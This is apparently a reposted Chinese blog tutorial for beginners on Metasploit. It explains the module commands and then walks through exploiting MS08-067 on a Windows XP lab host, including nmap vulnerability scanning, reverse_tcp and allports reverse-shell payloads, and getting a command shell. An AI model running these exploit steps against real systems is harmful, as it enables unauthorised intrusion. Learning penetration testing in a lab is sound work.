前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >渗透第一课:尝试渗透

渗透第一课:尝试渗透

作者头像
Mirror王宇阳
发布2020-11-13 10:59:35
4570
发布2020-11-13 10:59:35
举报

渗透第一课:尝试渗透

  • 在简单点额了解了Metasploit框架后,我们就需要学习使用msf和Kali渗透攻击了

0x00:攻击基础

​ Metasploit框架中含有数百个模块,当然无法用“脑子”,也没有功夫去记所有的模块(除非很闲),当然了,一些比较基础的还是需要记住的了。

msf > show exploits

  • 命令作用:
    • 显示MSF框架中所有可用的攻击模块。在msf终端中可以针对发现的漏洞实施对应的攻击策略。
    • (Metasploit团队依旧在维护攻击模块,所以说这个列表会非常的长,笔者现在使用的时候有1896条)

msf > show auxiliary

  • 命令作用:
    • 显示所有的辅助模块和用途(英文),辅助模块用途非常广,可以是扫描器、DoS工具、Fuzz测试器等工具

msf > show options

  • 命令作用:
    • 参数 options 是保证Metasploit框架中各个模块正确运行所需要的各种设置,输入 show options 会列出这个模块所需要的各个参数。如果没有选择模块,输入这个命令显示所有的全局参数,
    • 输入 back 命令可以返回上一级命令状态哦!(在模块中quit/exit会直接退出msf终端)
  • msf > search [关键字词]
    • 如果想在众多的模块中,找到针对某一个特定的类型的攻击模块的时候,可以使用search命令进行模块组件的搜索;当然search命令也支持搜索特定的模块,并显示该模块的具体位置。

我们利用search命令搜到了某模块的位置,use进入该模块操作。 进入模块(任何模式下use和search命令都可以跳到另一个模块中)使用show options显示模块参数。

msf > show payloads

攻击载荷是一种针对特定平台的一段攻击代码,通过网络传送到攻击目标进行执行。和show options一样,在模块下执行 show payloads 命令,Metasploit会将和当前模块兼容的攻击载荷显示出来。 在针对Windows操作系统的攻击中,简单的攻击爱喝可能只会返回目标主机的一个命令行界面,而复杂的攻击载荷则会返回一个完整的图形操作界面。

代码语言:javascript
复制
msf > show payloads  # 显示Metasploit下所有支持的攻击载荷
  • 在例如ms08_067模块下显示攻击载荷列表
代码语言:javascript
复制
msf exploit(windows/smb/ms08_067_netapi) > show payloads #x显示ms08_067模块支持的攻击载荷列表
  • 选择使用的攻击载荷(reverse_tcp > 反弹式TCP连接)
代码语言:javascript
复制
msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/reverse_tcp

在选择reverse_tcp攻击载荷方法后,输入 show options ,就会显示需要配置的参数列表

options显示的参数分为ms08_067模块下的参数和reverse_tcp攻击载荷下的参数。

  • 可以配置(LHOST和LPORT)让目标主机回连到攻击机的特定的IP地址和端口号上,这就称为反弹式的攻击载荷(其中LPORT默认为4444端口);在攻击载荷中,连接是由目标主机发起的,并且其连接对象是攻击机[可以使用这种技巧穿过防火墙和NAT网关]

msf > show targets

​ Metasploit攻击模块通常可以列出受到漏洞影响目标的操作系统的类型。比如针对MS08_067漏洞的攻击依赖于硬编码的内存地址,所以这个攻击针对的是特定的操作系统版本且适合特定的补丁级别、语言版本以及安全机制实现的。由此攻击是否成功,取决于目标Windows系统的版本。

代码语言:javascript
复制
msf5 exploit(windows/smb/ms08_067_netapi) > show targets  # 自动选择

在 show targets的显示列表中,攻击列表中的一个选项。通常攻击模块通过目标操作系统的指纹信息,自动选择OS版本进行攻击;不过最好的还是通过人工更加的识别处信息并选择选项,避免触发错误、破坏性的攻击。

info 命令

​ show和search命令提供的信息过于简短;可以使用 info 命令加上模块的名字(info[模块名]或者模块下info命令)可以显示模块的详细信息、参数说明以及可操作的OS。

set 和 unset 命令

​ Metasploit模块中的所有参数两种状态:已设置(set)和未设置(unset)

​ 部分参数 show options后Required会别标记为Yes(必填);必填的选项需要使用set命令对参数设置(同时启用)使用unset命令可以禁用相关的参数。

代码语言:javascript
复制
msf [模块] > set [参数] [设置参数内容] 
  • 命令操作
代码语言:javascript
复制
msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.2.184
RHOSTS => 192.168.2.184
msf5 exploit(windows/smb/ms08_067_netapi) > set target 10
target => 10
msf5 exploit(windows/smb/ms08_067_netapi) > show options 

如此,我们将模块的攻击目标RHOSTS和Tatget都配置完成了; 使用 show options 命令查看模块的参数配置,确认配置完成。

setg 和 unsetg 命令

setg和unstg命令可以在模块内设置参数配置的同时,完成/抹除全局的参数配置;使用这组命令则不必每次都重复设置同样的参数了。

save 命令

在使用全局参数配置后,可以使用 save 命令将当前的设置值保存下来,这样二次启动msf终端的时候,依旧可以使用这些参数值。

代码语言:javascript
复制
msf5 exploit(windows/smb/ms08_067_netapi) > save
Saved configuration to : /root/.msf3/config

save命令执行后,参数值会别保存在磁盘上(/root/.msf3/config)

0x01:首次渗透(Win_xp)

对目标靶机进行漏洞扫描

  • 使用Nessus或其他漏洞扫描工具(Web管理页面操作)

Nessus 漏洞扫描结果:

从扫描结果中我们发现目标存在MS08-067【CVE-2008-4250】漏洞

  • nmap手工扫描漏洞

ps:如果有了经验后,也可以通过nmap进行手工扫描,在这里就针对MS08-067漏洞进行扫描,查看是否存在该漏洞。

代码语言:javascript
复制
msf5 > nmap -sT -A --script=smb-vuln-ms08-067 -PO 192.168.2.184

扫描命令采用 -sT/-sS(隐秘) 和 -A(全面) 扫描目标,并引用nmap脚本(--script)—”smb-vuln-ms08-067“扫描目标。

我们在第三行{VULNERABLE}的显示结果,表示存在第四行的{MS08_067}漏洞 第六行显示了该漏洞的CVE编号【CVE-2008-4250】,后续显示相关的漏洞信息

攻击前的确认和准备

确认目标主机存在MS08_067漏洞,我们进入msf环境调用该漏洞的攻击模块

我们在之前的nmap中确认了目标的操作系统为:Microsoft Windows XP Professional SP2

选择使用的攻击载荷===>(reverse_tcp > 反弹式TCP连接)

设置目标主机的操作系统的具体系统版本类型(由于MS08_067是不同系统有不同的方法所以……)

设置目标的IP地址、TCP反弹的监听地址IP和端口

攻击开始

代码语言:javascript
复制
msf5 exploit(windows/smb/ms08_067_netapi) > exploit	#测试能否攻击 (进入方法 1)
meterpreter > shell #可以进入目标系统的cmd
msf5 exploit(windows/smb/ms08_067_netapi) > run #![](https://img2018.cnblogs.com/blog/1512305/201906/1512305-20190615205304100-1944401348.png)

攻击  (进入方法 2)

shell 交互式界面,此时就可以控制对方的操作系统了

攻陷成功

当我们可以在cmd模式的shell交互界面中操作对方系统的时候,就表示我们成功攻陷对方主机了!

0x02 全端口攻击载荷:暴力猜解目标开放端口

​ 可以攻陷Win_XP系统,原因在于目标主机反弹连接使用的端口没有被过滤掉;但如果我们攻击的组织内部设置了严格的防火墙出站策略,就无法接收反弹连接了。

​ 我们可以猜解443端口有没有被防火墙禁止,可以进行逐一尝试常见的服务端口;当然MSF也提供了一个专用的攻击载荷帮助我们找到“可利用”的端口。

代码语言:javascript
复制
msf5 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/dllinject/reverse_tcp_allports 

0x03:模仿攻击Ubantu主机

我们对Windows xp攻击完成了,我们可以对Linux主机进行模仿的攻击,虽然目标不同,但是攻击思路是类似的,在攻击载荷是不同的。

  • 手动扫描目标主机

通过nmap的手动扫描结果看出目标主机的以下信息:

  1. SSH-22和apache-80端口和服务处于开启的状态
  2. 目标系统为 Ubantu Linux
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-06-15 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 渗透第一课:尝试渗透
    • 0x00:攻击基础
      • msf > show exploits
      • msf > show auxiliary
      • msf > show options
      • msf > show payloads
      • msf > show targets
      • info 命令
      • set 和 unset 命令
      • setg 和 unsetg 命令
      • save 命令
    • 0x01:首次渗透(Win_xp)
      • 对目标靶机进行漏洞扫描
      • 攻击前的确认和准备
      • 攻击开始
      • 攻陷成功
    • 0x02 全端口攻击载荷:暴力猜解目标开放端口
      • 0x03:模仿攻击Ubantu主机
      相关产品与服务
      漏洞扫描服务
      漏洞扫描服务(Vulnerability Scan Service,VSS) 是一款自动探测企业网络资产并识别其风险的产品。依托腾讯二十年累积的安全能力,漏洞扫描服务能够对企业的网络设备及应用服务的可用性、安全性与合规性等进行定期的安全扫描、持续性风险预警和漏洞检测,并且为企业提供专业的修复建议,降低企业安全风险。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档